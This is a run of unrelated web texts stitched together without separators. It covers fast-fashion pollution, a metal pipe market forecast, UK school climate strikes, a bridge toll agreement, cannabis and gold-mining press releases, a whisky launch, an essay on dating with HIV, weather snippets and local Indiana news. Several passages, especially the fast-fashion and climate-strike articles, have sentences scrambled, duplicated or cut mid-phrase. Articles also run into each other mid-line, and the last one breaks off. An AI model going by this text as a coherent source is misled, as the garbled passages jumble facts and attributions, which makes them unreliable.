All together , this equates to ' 190,000 tonnes of textile microplastic fibres end[ing] up in the sea each year', which consequently contributes to 85% of the human-made debris found on shorelines worldwide. , this equates to '

Whats more, microfibres are ingested by small aquatic organisms, which are then eaten by fish and so on, meaning that plastic enters the food chain.

research Disturbingly,has found that a significant number of the fish and shellfish that we consume contain these microplastic fibres.

Water consumption

Another environmental issue linked with the fashion industry is the obscene amount of water consumption involved.

1.5 trillion litres of water Each year, the fashion industry uses an enormous, 'for fabric dyeing alone'.

Not only does the dyeing and finishing process require a huge quantity of water, but growing the cotton that many of our clothes comprise of requires an implausible amount of it too.

In Fashions Dirty Secrets , Stacey shocks a passer-by on the high street by revealing that his new 100% cotton jacket would have required 10,330 litres of water to simply grow the cotton. That is equal to 24 years of drinking water for one person.

750 million people do not have access to drinking water This is happening at a time when around

But there isnt only the human side to consider. A shocking environmental consequence of this mass water consumption came to light when Stacey visited Kazakhstan  a country hugely affected by cotton production.

68,000 km Aral Sea could be found in the country Just over half a century ago, the. It was once the fourth largest lake in the world, home to a wealth of fish species and other wildlife.

Yet, with the rise of fast fashion, intense cotton production has sucked the lake dry, leaving what looks like nothing more than a dusty, barren desert.

What was once the Aral Sea. Image: United Nations Development Programme in Europe and Central Asia on Flickr.

Secretary General , Ban Ki-Moon, said it is one of the worst disasters, environmental disasters of the world According to The Telegraph, the previous UN, Ban Ki-Moon, said it is

This environmental disaster has unravelled in a mere six decades.

It doesnt end there

landfills filling up at an unprecedented rate, soil degradation, and 10% of global carbon emissions. On top of the fast fashion industry being responsible for appalling levels of water pollution, microfibres infiltrating our oceans and off-the-scale water consumption, it is also linked to

Zara, Asos, M&S, Monsoon, Next and River Island all refused to speak to the BBC ourselves, before it's too late. We need to ditch fast fashion now. It is clear that something needs to be done to tackle this catastrophe. However, the fact that representatives from big brands such ason the matter suggests that we, the consumers, need to take serious actionbefore it's too late. We need to ditch fast fashion now.DALLAS, Feb. 13, 2019 (GLOBE NEWSWIRE) -- According to a new market report published by Lucintel, the global metal pipe market looks promising with opportunities in oil and gas, power generation, automotive, and industrial sector. The global metal pipe market is expected to reach an estimated $97.7 billion by 2023 with a CAGR of 3.9% from 2018 to 2023. The major drivers for this market are increasing construction of new pipelines for oil and gas, water and wastewater, replacement of aging pipelines, and infrastructure development.



Browse 112 market data tables and 161 figures spread through 240 pages and in-depth TOC on Global Metal Pipe Market" at https://www.lucintel.com/metal-pipe-market.aspx

In this market, different types of metal pipe such as steel pipes, ductile iron pipes, copper pipes, and other material pipes are used as material. On the basis of comprehensive research, Lucintel forecasts that the steel pipe is expected to remain the largest segment and witness highest growth over the forecast period due to increasing demand in oil and gas, power generation and automotive industries.

Download Free PDF Brochure @ https://www.lucintel.com/metal-pipe-market.aspx#/

North America is expected to remain the largest region due to increase in oil and gas exploration activities. APAC is expected to witness the highest growth over the forecast period due to increasing infrastructure development, urbanization, and government economic stimulus measures in this region.

Pre-Purchase Query @ https://www.lucintel.com/metal-pipe-market.aspx#/

Emerging trends which have a direct impact on the dynamics of the metal pipe industry include Increasing use of premium and technically advanced pipe and development of multilayer pipe for strength and durability. Tenaris, Vallourec, TMK, Saint Gobain, ArcelorMittal, Nippon Steel and Sumitomo Metals, United States Steel Corporation, Muller Industries, Kaiser Aluminum, Amiantit, and Northwest Pipe and others are among the major metal pipe manufacturers.

Lucintel, a leading global strategic consulting and market research firm, has analyzed and forecasted for the global metal pipe market by end use industry, material, diameter, pressure, and region and has come up with a comprehensive research report entitled  Growth Opportunities in the Global Metal Pipe Market 2018-2023: Trends, Forecast, and Opportunity Analysis . The Lucintel report serves as a catalyst for growth strategy as it provides a comprehensive data and analysis on trends, key drivers, and directions.Thousands of pupils are expected to walk out of lessons across the UK this Friday in line with the school climate strikes that have been happening around the world.

Greta Thunberg Over the past few months, thousands of young people have been taking to the streets as part of the Youth Strike 4 Climate movement. The movement is inspired by, a 16-year-old school girl, who held a solo protest outside the Swedish Parliament last August.

Greta said , "You don't have to school strike; it's your own choice. But why should we be studying for a future that may soon be no more? This is more important than school, I think."

Greta Thunberg/ Image Credit: Pressenza from Il Cambiamento

70,000 school children each week taking part in the strikes around the world. Since then the movement has grown, with approximately

Speaking to the Guardian The strike within the UK is being coordinated by the UK Youth Climate Coalition., Jack Woodier, who is part of the coalition, believes that Greta's protest has highlighted the need for change and has invigorated young people in the battle against climate change.

"The images of what Greta did and then the huge strikes by school children in other countries have been widely shared by young people on social media and have really inspired people," he says.

The environment minister of Belgium resign, after he inaccurately claimed that there was evidence to suggest that the tens of thousands of children joining the protest in Belgium were being directed by unnamed powers and not acting of their own will. Predictably, the movement has been met with opposition from politicians and others who deny the presence of climate change.was given little choice but toafter he inaccurately claimed that there was evidence to suggest that the tens of thousands of children joining the protest in Belgium were being directed by unnamed powers and not acting of their own will.

UK Student Climate Network The(UKSCN) is offering information about the locations of strikes on their website.

It is hoped by organisers that the UK strike on Friday will create an opportunity for the growth of the movement, building towards a global day of school strikes on the 15th March.Salida, CO (81201)

Today

Partial cloudiness early, with scattered showers and thunderstorms during the afternoon. High 82F. Winds SW at 10 to 15 mph. Chance of rain 50%..

Tonight

A few clouds. Low 53F. Winds W at 10 to 15 mph.Feb 13 2019 2:53 pm

On Wednesday, New Jersey Governor Phil Murphy and Delaware Governor John Carney announced a resolution related to the proposed Delaware Memorial Bridge toll rate increase, to fund necessary safety and infrastructure projects. The new proposal will generate $32M in increased annual toll revenue compared to the previous $34M proposal.

The modified proposal includes the following changes:

EZ-Pass discount for passenger car/small truck home agency users (NJ EZ-Pass or DelDOT account holders) of 25 cents off the $5 toll rate. Frequent Traveler discount rate increases from $1.25 to $1.75. On 1/1/2021, the rate increases to $2.25. Frequent Traveler program is 20 trips in 90 calendar days. Delaware River and Bay Authority (DRBA) Five Year Capital Improvement Plan (CIP) is amended from $423M to $399M. Implementation date deferred for two months from March 1 to May 1, 2019.



Im thrilled to have worked with Governor Carney to generate this modified proposal that is more fair to commuters, and allows us to invest in the Delaware Memorial Bridge to keep it in good-repair, said Governor Murphy. This modified proposal allows us to ensure the safe passage of travelers from New Jersey and Delaware, while addressing the commuting costs of our residents, critical goals shared by both states.

Murphy added that the DRBA agreed to cancel or defer infrastructure projects that would be value-added to their operation, but not vital or essential for the particular facility. Most of these are at the Cape May  Lewes Ferry.

Discussions on a path forward were positive and constructive and Im pleased we were able to find common ground, said Governor Carney. With additional revenue, the DRBA can now proceed with many vital infrastructure investments at Delaware Memorial Bridge and Cape May-Lewes Ferry that otherwise would have been delayed or postponed indefinitely. Thank you to Governor Murphy for his willingness to work together to fund these important infrastructure investments.

Carney noted that the additional toll revenue is now available to match the $22.3 million BUILD federal grant, the $6 million Federal Transit Administration Grant to Repower and Retrofit two ferry vessels, as well as numerous federal grants at the agencys aviation facilities.

With the additional revenue, the DRBA now has the resources to fund the following significant major capital projects planned at Delaware Memorial Bridge and Cape May  Lewes Ferry: Bridge Paint Removal and Recoating ($48.2 million); Suspension Rope Replacement ($24.5 million); Bridge Steelwork Repairs ($40.5 million); Pin and Link Rehabilitation on Both Structures of DMB ($19.7 million); Ship Collision Protection System ($45.2 million); Bridge Deck Repair ($21.5 million); Transfer Bridge Repairs at the Cape May  Lewes Ferry ($4.3 million); and Ferry Repowering Program ($9.5 million).

The DRBA Commission plans to vote on Resolution 19-01 (Delaware Memorial Bridge Revised Toll Schedule) at its board meeting on Wednesday, February 20, 2019.Vancouver, BC, Feb. 12, 2019 (GLOBE NEWSWIRE) -- INVICTUS MD STRATEGIES CORP. ("Invictus" or the "Company") (TSXV: GENE; OTCQX: IVITF; FRA: 8IS1) is pleased to announce that it has hired a prominent Toronto based strategic consulting agency (the Agency) as interim Chief Marketing Officer (interim CMO), strategic consulting partner, creative agency partner and live events partner. The contract duration is six months and began on January 1, 2019.



With over 35 years of branding experience in the healthcare sector, the Agency will leverage its expertise to help create, develop, and execute the go-to-market strategy for Invictus cannabis products. As interim CMO, the Agency will work with Authentic Brands Group (ABG) and Invictus senior leadership team to facilitate the anticipated launch of Invictus medical brand T2C, and adult recreational brands under Dukes and Sterling & Hunt.

Invictus will compensate the Agency with a monthly fee of $45,000 CAD, payable in common shares of Invictus using a per share issue price equal to the greater of: (i) the 30-day volume weighted average price (VWAP) of the Companys common shares on the TSX Venture Exchange for December 2018 (adjusted for any share consolidation of the Company); and (ii) the maximum discount allowable under the TSX Venture Exchange policies on the date of issuance.

To bolster the Companys profile, Invictus has enlisted Darwin Productions Inc. (Darwin) to provide investor relations and marketing services. The Companys contract with Darwin is for $25,000 CAD per month. In addition, Darwin will provide a direct mail scheduled for distribution in early March. This campaign will cost approximately $500,000 USD and reach nearly 500,000 households in North America, providing company information to build brand awareness.

The Company has also granted 250,000 stock options to a certain advisor of the Company. Each stock option has an exercise price of $1.00 and is exercisable into one common share of the Company. The options vest immediately and are exercisable over a period of five years. The stock options were granted subject to the terms and conditions of the Company's Stock Option Plan.



For more information, please visit www.invictus-md.com.

On Behalf of the Board,

George E. Kveton

Chief Executive Officer and Director



Jessica Martin

Vice President, Public Relations and Regulatory Affairs

(833) 879-4363



About Invictus

Invictus is a global cannabis company offering a selection of products under a wide range of brands. Our integrated sales approach is defined by five pillars of distribution including medical, adult-use, international, Licensed Producer to Licensed Producer and retail stores.

Invictus has partnered with business leaders to convey our corporate vision, including KISS music legend and business mogul Gene Simmons as our Chief Evangelist Officer. To meet growing demand, Invictus is expanding its cultivation footprint, with three cannabis production facilities licensed under the Cannabis Act and Cannabis Regulations in Canada. To accommodate international sales, Invictus wholly-owned subsidiary, Acreage Pharms Ltd., has designed and is currently building its Phase 3 purpose-built cultivation facility to be European Union Good Manufacturing Practices compliant. The Company is targeting for up to 50 percent of its production to comprise medical cannabis. To ensure consistency in quality and supply, Invictus maintains all aspects of the growing process through its subsidiary, Future Harvest Development Ltd., a high-quality fertilizer and nutrients manufacturer. Invictus drives sustainable long-term shareholder value through a diversified product portfolio with over 70 Health Canada approved strains and a multifaceted distribution strategy including medical, adult-use, international, Licensed Producer to Licensed Producer and retail stores. For more information visit www.invictus-md.com.

Cautionary Note Regarding Forward-Looking Statements: This release includes certain statements and information that may constitute forward-looking information within the meaning of applicable Canadian securities laws or forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995. All statements in this news release, other than statements of historical facts, including statements regarding future estimates, plans, objectives, timing, assumptions or expectations of future performance, including the Companys launch of Invictus medical and adult recreational brands under T2C, and Dukes and Sterling & Hunt, respectively, is a forward-looking statement and contain forward-looking information. Generally, forward-looking statements and information can be identified by the use of forward-looking terminology such as "intends" or "anticipates", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "should", "would" or "occur". Forward-looking statements are based on certain material assumptions and analysis made by the Company and the opinions and estimates of management as of the date of this press release, including that the Company will complete its launch of Invictus medical and adult recreational brands under T2C, and Dukes and Sterling & Hunt, respectively. This forward-looking statement is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking statements or forward-looking information. Important factors that may cause actual results to vary, include, without limitation, that the Company will not complete its launch of Invictus medical and adult recreational brands under T2C, and Dukes and Sterling & Hunt, respectively. Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements or forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. Readers are cautioned that reliance on such information may not be appropriate for other purposes. The Company does not undertake to update any forward-looking statement, forward-looking information or financial out-look that are incorporated by reference herein, except in accordance with applicable securities laws.

Neither the TSX Venture Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or accuracy of this release.If you already subscribe to our print edition, sign up for FREE access to our online edition. Thanks for reading The Henderson News.Tobermory returns with 12 Years Old expression

Distell's Tobermory Distillery has celebrated its return to production with a new signature expression Tobermory 12 Years Old.

To celebrate the reawakening of Tobermory Distillery and the launch of its new 12 Years Old expression, two gallery unveiling events are being held in the UK. The first will take place in London on 27 March with the second event being hosted in Glasgow on 3 April. They will reveal the vibrant new packaging, which is reflective of the distillerys Hebridean home, as well as offer the first tastings of Tobermory 12 Years Old.

Guests will also have a unique opportunity to view two original pieces of art donated to the distillery by Catherine Ross, who completed the first Artist in Residence programme at Tobermory last year. Her works will be supported by photographer Euan Miles who has successfully captured the essence of the distillery and the island on camera, which in turn has been used to create standout packaging across all the spirits produced at the Hebridean Distillery.

Tobermory distillery has consistently been innovative and unusual, its lone existence on the Isle of Mull has nurtured an artisanal approach to whisky production over the centuries, operating two production cycles during the year. One to produce an unpeated malt, while the other creates a peated version, Ledaig. This Spring will not only mark the return of whisky production, but it will also see the distillery venture into new spirits too and guests attending the two events will have an advance preview of whats in the pipeline for 2019.

Derek Scott, brand director for malts at Distell International, says: The past two years have been a voyage of discovery; we have all been on an incredible journey with Tobermory and it is far from over. Its a dream for any of us in the industry to be given a beautiful Hebridean distillery nestled in the centre of an iconic and vibrant community and answer the question what is its future?. Its been fascinating watching the character of Tobermory almost answer that question all by itself, which is why its so exciting to now be on the cusp of launching the 12 Years Old.

The distillery has a rich tapestry of stories to share and the latest chapter follows on from the success of our Artist in Residence programme last year and the works our first artist Catherine Ross has donated. These perfectly complement the heritage of the distillery and its island home and we are very excited to see the creativity that spins out of this years residency as we hope to welcome more rising stars during 2019 and beyond.

12 February 2019 - Sam Coyne The Drinks Report, editorPresident Joe Biden had a three-hour talk with Russian Premier Vladimir Putin in Geneva on June 16, said he laid down some red lines Russia had darned well not cross and that it was his hope this guy he once called a killer does not want another Cold War.The Donation provided by the lifestyle brand will go toward Investments in Black Neighborhoods and Businesses

SACRAMENTO, Feb. 12, 2019 (GLOBE NEWSWIRE) -- High Times, the most well-known brand in Cannabis, today announced the completion of its $100,000 cash donation plus $25,000 in stock to the Build.Black. Coalition. The new funds, which come after the success of High Times Central Valley Cannabis Cup 2018 - the first ever state-sanctioned cannabis consumption and sales event, will aid the organization in its mission to bring justice, prosperity, and economic opportunity to Sacramentos African-American community.

The Build.Black. Coalition came together in the wake of yet another tragic death of an unarmed Black man at the hands of police. The goal of the organization is to commit time, resources and its considerable experience to the shared mission of proactive investment and radical transformation for Black communities.

This donation from High Times will be a great help as we continue to create models to uplift and transform Black communities in Sacramento and across our nation, Chet Hewitt, co-founder of the Build.Black. Coalition and president and CEO of Sierra Health Foundation and the Center noted. Racial justice and equity for black communities is integrally connected to economic and social empowerment. Were pleased to have High Times standing with us as we work towards these goals by investing in black businesses, lifting up youth voices and advocating for justice in policing. We look forward to working alongside Adam and High Times in the future.

The donation from High Times comes after its successful event, The Cannabis Cup Central Valley, which was held at CalExpo in May of last year. The donation, which was negotiated as part of the deal with the Sacramento City Council, sought to provide funds to community organizations for hosting this first-of-its-kind event within Sacramento. High Times chose to align with the Build.Black. Coalition as the organization feels strongly about the dangers of the disproportionate arrests and unconstitutional police interaction in Black communities, especially around the failed War on Drugs.

The Build.Black. plans to immediately use these funds to support the social justice and racial equity work being done by its members, and to develop a strategy for advancing economic opportunity in Sacramentos Black community.

About Build. Black. Coalition

The Build.Black. Coalition is spearheaded by a coalition group of activists, non-profits, legal support teams, youth advocates, faith leaders, police accountability and policy experts, and Sacramento community leaders in the fight for equity.

Resting on four foundational pillars, the Build.Black. Coalition is working in key areas: 1) Uplifting Black Youth Voices 2) Health Equity and Access 3) Justice and Policing in Black Communities and 4) Investment in Black Neighborhoods and Businesses.

Learn more about the Build. Black. Coalition at www.buildblack.org

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With a Digital Only subscription, you'll receive unlimited access to our website and e-edition. Our digital products are available 24/7 and are accessible anywhere, anytime.LONGUEUIL, Quebec, Feb. 12, 2019 (GLOBE NEWSWIRE) -- Further to its news releases of January 29, 2019 and February 4, 2019, Reunion Gold Corporation (TSX-V: RGD) (the Company) is pleased to announce the closing of its strategic alliance agreement (the SAA) with Barrick Gold Corporation (Barrick) and its previously-announced private placement (the Placement).



On closing of the Placement, the Company issued 87,290,000 common shares (the Shares) at a price of $0.15 per share for gross proceeds of $13,093,500. As part of the Placement, Barrick acquired 33,150,000 Shares, increasing its interest in the Company from 15% to 19.9%, and Dundee Resources Limited acquired 14,350,000 Shares to maintain its 16.5% interest in the Company. The Shares issued in the Placement are subject to a hold period expiring June 13, 2019.

Proceeds from the Placement will be used for exploration and development of the Companys gold projects in French Guiana and Guyana and for general working capital. The Company paid finders fees of $6,150 in connection with the Placement.

Concurrent with the closing of the Placement, the Company has also closed the SAA, as more particularly detailed in the Companys February 4, 2019 news release. In accordance with the policies of the TSX Venture Exchange, the Company obtained disinterested shareholder approval to the SAA by way of written consents. The Company filed a material change report relating to the SAA and Barricks additional investment in the Company on February 12, 2019.

In accordance with the requirements of Multilateral Instrument 61-101, the Company notes that the filing of the material change report has not occurred less than 21 days before the closing date of the SAA and the Placement, as the terms of the SAA and the amended and restated subscription agreement of Barrick (the Subscription Agreement), pursuant to which the Placement was effected, were agreed between Barrick and Reunion on February 3, 2019 and closed today in accordance with the terms of the Subscription Agreement.

Cautionary Statement

This news release contains "forward-looking information" within the meaning of the applicable Canadian securities legislation. All statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that involves discussions with respect to expectations, beliefs, plans, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", "anticipates", "plans", "budget", "scheduled", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements. In this news release, forward-looking statements relate to the expected uses of the proceeds of the Placement. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on the forward-looking statements and information contained in this news release. Except as required by law, the Company assumes no obligation to update the forward-looking statements of beliefs, opinions, projections, or other factors, should they change, except as required by law.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release.

About Reunion Gold

Reunion Gold Corporation is a Canadian exploration company focused on acquiring, exploring and developing gold projects in the Guiana Shield, South America. The Company has entered into agreements to acquire an interest in the Dorlin, Boulanger and Haute Mana gold projects in French Guiana and in the Waiamu, Aremu, Arawini and Oko gold projects in Guyana. The Companys Shares are listed on the TSX Venture Exchange under the symbol RGD. Following closing of the Placement, the Company has 407,831,587 Shares issued and outstanding.

Additional information about the Company is available on SEDAR ( www.sedar.com ) and on the Companys website ( www.reuniongold.com ). For further information, please contact:I knew there would be challenges to dating after I was diagnosed HIV positive, but I didn't know of the many hidden nuances to dating when you are a person living with HIV. Of course, there are the overt challenges, mostly due to stigma. However, I discovered that dating while HIV positive is much more challengingly nuanced than I had realized, and this is rarely discussed. Here are a few of the nuances that I experienced.

Before I begin, I must explain a few things. See, before HIV, dating was everything to me; or should I say, finding someone to spend my life with was everything. When the doctor told me that I was HIV positive, it shook me to my core. When speaking publicly about living with HIV, I often talk about how the doctor's words were equivalent to being struck with a bat. I was crying uncontrollably, I was in and out of consciousness -- it was a very bad scene.

Things calmed down in the weeks that followed, yet sometimes I found myself lashing out at anyone and anything. I began measuring progress by the amount of time between lash-outs. Immediately following my diagnosis, lashing out was a daily occurrence. In time, I lashed out once a week, then every two, then three, to where eventually lashing out became fewer and more far between.

All I wanted was to feel normal. I was no stranger to dating sites before my diagnosis, so a few weeks after my diagnosis it occurred to me that there must be dating sites for those living with HIV. To my relief, I found several dating sites -- some you have to pay for, and some that are free. Personally, I find it reprehensible to profit from HIV-positive people's need to feel loved and not scorned. With all the money in HIV activism and programs, there ought to be many free dating sites. This is as necessary to our care as the medicines itself.

I registered with several of the dating sites and, immediately, I began to meet women. What a relief! Apparently, there are few viable men on HIV dating sites, and I was a breath of fresh air to many ladies who, unfortunately, found themselves in the same boat. Before HIV, I struggled with dating. Now, I dated more than ever. But, keep in mind, I was still lashing out -- and in reality, I was nowhere near ready to date. But I plugged on anyway. I thought I was ready and thus "normal," and I set out to prove it.

Before I continue, I need to pause here, because it is very important to note an unintended yet very important function of the HIV dating sites that I've discovered that I don't think anyone had planned on or intended. See, at this point in time, I had not met another living soul with HIV, despite repeated pleas to my doctors to connect me with a peer who has HIV or a support group. I mean, I knew HIV-positive people exist. I knew I passed by them every day on the street; yet, without knowing that I saw or met someone with HIV, I felt I was the only person on the planet who was living with HIV. It felt like I was all alone and that I was the only one. There were no early intervention services, even as recently as 2012 when I was diagnosed. Today, I'm into activism and advocacy, so now I know a ton of people who are HIV positive, but back at the time of my diagnosis, I knew no one with HIV. I thank God every day for the dating sites. If it weren't for the dating sites, I may not have ever met anyone else who is HIV positive; at least at that time.

When I found that HIV dating sites do indeed exist, the first thing that I thought is that I had just found a community of enlightened people. I mean, surely, people living with such a socially crippling affliction (or so I thought) as HIV must be enlightened and therefore sophisticated individuals, right? Boy, was I wrong. That was completely my mistake. I erroneously assigned some sort of superhuman-like quality of enlightenment to people living with HIV, and in doing so, in a way, I dehumanized them. They were human before HIV, and they are human after HIV; complete with all the foibles and fallibilities found in any person.

In short, if they were an asshole before HIV, they were an asshole after HIV, and that is perfectly normal and okay.

I thought of attempting to date someone who is HIV negative, but very soon you find yourself in this conundrum: How soon or long should you wait to tell someone that you are HIV positive? Do you tell the person right away? Should they have the right to know immediately? Legally, they certainly have the right to know before any sexual contact. The danger in this is, if you tell people that you are HIV positive very early upon meeting and they decline to continue in a relationship with you, very soon you will find yourself in a position in which the knowledge of your HIV status is now held by too many random people who have not demonstrated the trust necessary to hold this very personal knowledge about you. As the amount of people who know grows, the amount of control over who knows lessens. Not to mention, you lose control over how the message is delivered and thus how it is received. And, what about if you wait and date someone for a while before you tell them your status? Is it really fair to ask someone to give six months or more of their life to you when in the end they cannot accept your HIV status? As well, how fair is that to the person who is living with HIV? In the end, I chose to only date those who were also HIV positive.

So, I began using the dating sites and, to my delight, I did find dates. Around this same time, I thought about coming out about my status. While making conversation with my potential mates, I would sometimes mention that I wished to come out. The mere mention of coming out shook my potential partners to question, "Are you out? Did you say you are out?" I could hear the fear in their voice. It became clear to me very quickly that out of respect to any potential mate's anonymity, it would be wise to keep my status to myself. It seemed, for good reason, no one was interested in dating someone who was open about their status. So, I kept quiet. I feared I was doomed to spend my life alone.

But, in late 2015, I met a very dynamic and talented woman. We courted, and in early 2016 I left my home in Cleveland, Ohio, and I moved in with her at her home in Detroit, Michigan. Suddenly, I found myself on the opposite side of the very same issues that had sometimes previously perplexed me. See, my girlfriend is Claire Gasamagera, a very outspoken and very public activist and advocate who was born with HIV and has worked around the world. I followed Claire into advocacy; however, I was not public at all about my HIV status. A simple Google search of Claire will reveal seven to eight pages of articles and interviews with her in which she speaks very openly about her positive HIV status. Because of this, I was very reluctant to even mention Claire on my own social media pages. I rarely acknowledged Claire at all. Claire and I talked often about it, and she was okay with it, but I feared our mutual friends would see me as an uncaring, unloving boyfriend who wouldn't so much as mention my girlfriend or post any pictures of her.

For two years, my relationship status read "single." I know my friends, and I know my friends are nosey, and if they saw on social media who I live with, they would Google her and very quickly see that Claire is very publicly HIV positive. It would not take long for my friends to put two and two together and assume that I am HIV positive too. Even if it would be wrong for my friends to make that assumption, I knew in my heart that it would be a correct assumption. I did my best to hide Claire's significance in my life.

One of the positive things that have come out of me being HIV positive is that I have more real and lasting conversations with women now. Pre-HIV, my interactions with women seemed real and lasting on the surface, but in the back of my mind, there was always this little agenda of wanting to sleep with every woman I met. Hoping for a sexual relationship was almost always my motivation for any type of engagement with a woman. In the streets, they have a name for guys like me, "Captain Save-a-Hoe."

I was good at being "The Captain." I seemed genuine, but I always had a hidden agenda. HIV helped me to realize this. Now, post-HIV, my interactions with women are very real. Pre-HIV, I never knew how fake and phony I was with women. I thought I was the most sincere guy on the planet. Now, I genuinely care what a woman and I talk about, and gone is my hidden agenda.

I'm in a better place now. I'm in a relationship with Claire that has lasted three years and counting. We welcomed our son, Calvin, in October 2017, and we have a son, Aaron Jr., due in late March 2019. I'm very lucky to have contracted HIV very late in the epidemic -- when the medications are good, we know about undetectable equals untransmittable (U=U), and we can have children who are HIV negative. I can honestly say that thanks to HIV, I found love, which led me to my two new sons. Thanks to HIV, I have some of the most awesome friends now. Thanks to HIV, I am now active in activism and advocacy, which has given me a very real purpose in my life that I did not have before HIV. I have even been to Capitol Hill and lobbied before Congress. And, thanks to HIV, I am living my dream of becoming a writer. Claire and I have even been profiled in POZ Magazine, and our story is still used to promote their free dating site. None of this would have ever been possible without HIV.

So I'm not bitter, I embrace HIV. In today's world, it is more manageable than diabetes, and I am fully expected to live a totally normal life expectancy. Life is good. Life is certainly much better than before HIV. Can you believe that? Six years ago, I would have never believed that I could say that. I even have a friend who is a 75-year-old woman who is HIV positive. She met a man in his sixties who is HIV negative, and last year they married.

For the newly diagnosed and the not-so-new, don't fret. You are going to be just fine. I and my friends are living examples that life and love are still possible. It's not easy with the public's stigma, I know.

But I am here to tell you, St. Valentine is pulling for you, too.

Aaron Anderson is an activist, consultant, and former talk show host. Aaron is also co-founder of ARISE (Association of Refugees, Immigrants, and Survivors of Human Trafficking Engage). He is from Cleveland and is now living in Detroit.Blackshear, GA (31516)

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Partly cloudy. A stray shower or thunderstorm is possible. Low 68F. Winds ENE at 5 to 10 mph.The George Bush Library and Museum will have a Marine One Helicopter on display starting in 2021.Arab, AL (35016)

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Sunshine and clouds mixed. High 82F. Winds SE at 5 to 10 mph..

Tonight

Some clouds. Low 66F. Winds SE at 5 to 10 mph.Shepperton Studios plans for expansion have now been given outline planning permission by Spelthorne Borough Councils Planning Committee.

This decision will allow the progression of Pinewood Groups 500 million investment to expand the facility. The application will now be referred to the Secretary of State for Housing, Communities and Local Government for his consideration.

The plans will see the development of new studio space, which will include sound stages, offices, workshops, backlots, car parking and additional infrastructure.

In response to the Committee decision, Paul Golding, Chairman of Pinewood Group Limited, said: We are encouraged by this outcome and believe it marks an important step-forward in the strength of Shepperton Studios. With support from the Secretary of State for Housing, Communities and Local Government, this decision will allow us to continue our investment in the Studios and brings considerable benefits to the community of Spelthorne. Throughout the evolution of the project we have partnered with residents, businesses and members of the film industry and we thank them for their input and support.

The UK film industry is expected to create around 10,000 skilled jobs over the next five years. The expansion of the Studios will secure 1,500 construction jobs and a further 3,000 jobs at the Studios upon its completion.

Commenting on the plans, Adrian Wootton, Chief Executive, British Film Commission said: The UK screen industries make a hugely significant contribution to our economy and are an invaluable part of our creative and cultural global leadership. The decision to support the Studios expansion provides the opportunity to enhance the UKs offer, attracting even more producers and directors from around the world, whilst maintaining Sheppertons position at the forefront of the global production facilities market.Thank you for Reading!

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to continue reading.Letter to the Editor

The efforts been renewed to bond for a new school. . Let me state the problem Everybody, including me, wants a new school, nobody wants to ...What's Included

With a Digital Only subscription, you'll receive unlimited access to our website and e-edition. Our digital products are available 24/7 and are accessible anywhere, anytime.

If you have any questions or need further assistance, please call our customer service team at 712-243-2624 or email circ@ant-news.com.Changes to the SunCommercial's back end processing means the e-edition is getting a facelift. The biggest change is the e-edition, by default, is now presented in Text view.BICKENLL  Officials here are looking forward to warmer days  and not just because of sunny skies.

Mayor Thomas Estabrook said members of the city's Board of Works on Monday approved a trio of contracts connected to springtime road and utility improvements.

The largest was a $482,000 contract with local company Kerns Excavating for road improvements connected with a state Community Crossings Matching Grant awarded to the city last fall for nearly $320,000. The city is putting up a match of $106,000, Estabrook said.

The money will go to repair a handful of streets, including North Main Street from Sixth Street to Indiana 67 as well as Freelandville Avenue and West Third from Alexander to Mary streets.

We'll have to add some money in, Estabrook said of a minor gap in funding. But we have some money on hand. I don't think it will be a problem.

The board received four bids for the state-funded projects. Other bidders included Milestone Contractors, Wabash Valley Asphalt and E&B Paving.

City officials are also pursuing the replacement of water lines along portions of North Main Street as well.

In an effort to cut costs, the board acted as its own general contractor on the utility project. On Monday, board members approved the purchase of $38,000 for 1,800 feet of pipe from Utility Supply Company.

They then solicited quotes for the labor, and ended up awarding the contract to Dashiell Contracting of Marshall, Illinois, for $88,000.

That work, Estabrook said, will likely be done in conjunction with the paving work.

We'll begin just as soon as the weather lets us, Estabrook said. Our intent is to have all our affairs in order with our contractors so when the weather gets better, we can get going.

North Main is going to be busy come springtime, he said. We have trees to cut down, sidewalks to tear out, lots to do.

The money for the water line project, Estabrook said, was appropriated by the council last year and will come from the water utility.

The board also on Monday, Estabrook said, approved a $7,000 contribution to the parks department for the construction of needed new bathrooms at South Side Park.

The parks board voted to put up the same amount, he said.

The (restrooms) there are no good anymore, Estabrook said. They need more work done to them than what it's worth.

So I told the (parks board) that if they could do half, the BOW would do the other half. In the spring, we'll knock that one down and get started.

It's a good deal, something that's been needed for awhile.

And in other business, city council members cut $65,000 from the 2019 budget.

The move came in response, Estabrook said, to an unexpected shortfall experienced last year.

More money went out than came in, he said. And there were multiple factors in play. We had several one-time expenses that came up, and revenue was down.

We were going the wrong way on both sides of the balance sheet.

So in an effort to get back on track, Estabrook recommended cutting that same amount from this year's spending plan, and most of it came from the city's police department.

The police department, he said, makes up half of the city's overall budget.

So the largest cut, he said, came with the elimination of a purchase of a new police car. Some police maintenance costs, too, were trimmed away.

But the raises for city employees approved last year, he said, are safe.

No employees will be affected, he said.School board rejects changes over drag queen program

EVANSVILLE (AP)  The Evansville Vanderburgh School Corp. Board of Trustees heard 45 minutes of emotional public comments Monday before rebuffing demands for it to replace its three appointees to the Evansville Vanderburgh Public Library board following criticism of an upcoming library program in which men in drag will read to children.

A school board attorney, Jean Blanton, told the panel before the testimony that it had no legal basis to remove the appointees before their terms end, the Evansville Courier & Press reported.

